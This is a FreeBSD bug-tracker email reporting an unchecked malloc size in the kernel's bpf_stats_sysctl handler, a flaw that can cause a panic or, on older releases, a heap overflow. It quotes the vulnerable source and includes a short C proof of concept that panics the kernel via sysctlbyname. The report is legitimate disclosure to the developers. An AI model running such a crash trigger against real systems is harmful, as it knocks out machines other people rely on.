Skip site navigation (1)Skip section navigation (2)
Date:      Fri, 22 Apr 2016 21:54:22 +0000
From:      bugzilla-noreply@freebsd.org
To:        freebsd-bugs@FreeBSD.org
Subject:   [Bug 208985] DoS / heap overflow in bpf_stats_sysctl
Message-ID:  <bug-208985-8@https.bugs.freebsd.org/bugzilla/>

next in thread | raw e-mail | index | archive | help

https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=208985

            Bug ID: 208985
           Summary: DoS / heap overflow in bpf_stats_sysctl
           Product: Base System
           Version: 11.0-CURRENT
          Hardware: Any
                OS: Any
            Status: New
          Severity: Affects Only Me
          Priority: ---
         Component: kern
          Assignee: freebsd-bugs@FreeBSD.org
          Reporter: cturt@hardenedbsd.org

The `sysctl` handler for `net.bpf.stats`, `bpf_stats_sysctl`, calls `malloc`
with an unchecked user supplied size and the `M_WAITOK` flag.

sys/net/bpf.c:

static int
bpf_stats_sysctl(SYSCTL_HANDLER_ARGS)
{
        static const struct xbpf_d zerostats;
        struct xbpf_d *xbdbuf, *xbd, tempstats;
        int index, error;
        struct bpf_if *bp;
        struct bpf_d *bd;

        /*
         * XXX This is not technically correct. It is possible for non
         * privileged users to open bpf devices. It would make sense
         * if the users who opened the devices were able to retrieve
         * the statistics for them, too.
         */
        error = priv_check(req->td, PRIV_NET_BPF);
        if (error)
                return (error);

        ...

        xbdbuf = malloc(req->oldlen, M_BPF, M_WAITOK);
        BPF_LOCK();
        if (req->oldlen < (bpf_bpfd_cnt * sizeof(*xbd))) {
                BPF_UNLOCK();
                free(xbdbuf, M_BPF);
                return (ENOMEM);
        }
        index = 0;
        LIST_FOREACH(bp, &bpf_iflist, bif_next) {
                BPFIF_RLOCK(bp);
                /* Send writers-only first */
                LIST_FOREACH(bd, &bp->bif_wlist, bd_next) {
                        xbd = &xbdbuf[index++];
                        BPFD_LOCK(bd);
                        bpfstats_fill_xbpf(xbd, bd);
                        BPFD_UNLOCK(bd);
                }
                LIST_FOREACH(bd, &bp->bif_dlist, bd_next) {
                        xbd = &xbdbuf[index++];
                        BPFD_LOCK(bd);
                        bpfstats_fill_xbpf(xbd, bd);
                        BPFD_UNLOCK(bd);
                }
                BPFIF_RUNLOCK(bp);
        }
        BPF_UNLOCK();
        error = SYSCTL_OUT(req, xbdbuf, index * sizeof(*xbd));
        free(xbdbuf, M_BPF);
        return (error);
}

For the latest version of FreeBSD, the maximum impact of this is panic from
supplying large enough sizes. For older releases of 64 bit FreeBSD (like 9.0)
which truncate `malloc` sizes to 32 bit, a size like `0x100000004` will result
in an allocation of 4 bytes, which will bypass the check for `(req->oldlen <
(bpf_bpfd_cnt * sizeof(*xbd)))` and then cause heap overflow by the
`bpfstats_fill_xbpf` calls.

Annoyingly, this function has a `priv_check` against `PRIV_NET_BPF`, even
though it shouldn't! A comment in this function mentions that unprivileged
users _should_ be able to call this function, and thus make use of the
vulnerability:

"This is not technically correct. It is possible for non privileged users to
open bpf devices. It would make sense if the users who opened the devices were
able to retrieve the statistics for them, too."

Because of this the below code will only cause kernel panic when run as `root`:

#include <sys/types.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>

int main(void) {
        int result;

        char *m = malloc(256);
        size_t l = 0x100000000;

        result = sysctlbyname("net.bpf.stats", m, &l, NULL, 0);

        printf("%d\n", result);
        printf("%d\n", errno);

        return 0;
}

-- 
You are receiving this mail because:
You are the assignee for the bug.


Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?bug-208985-8>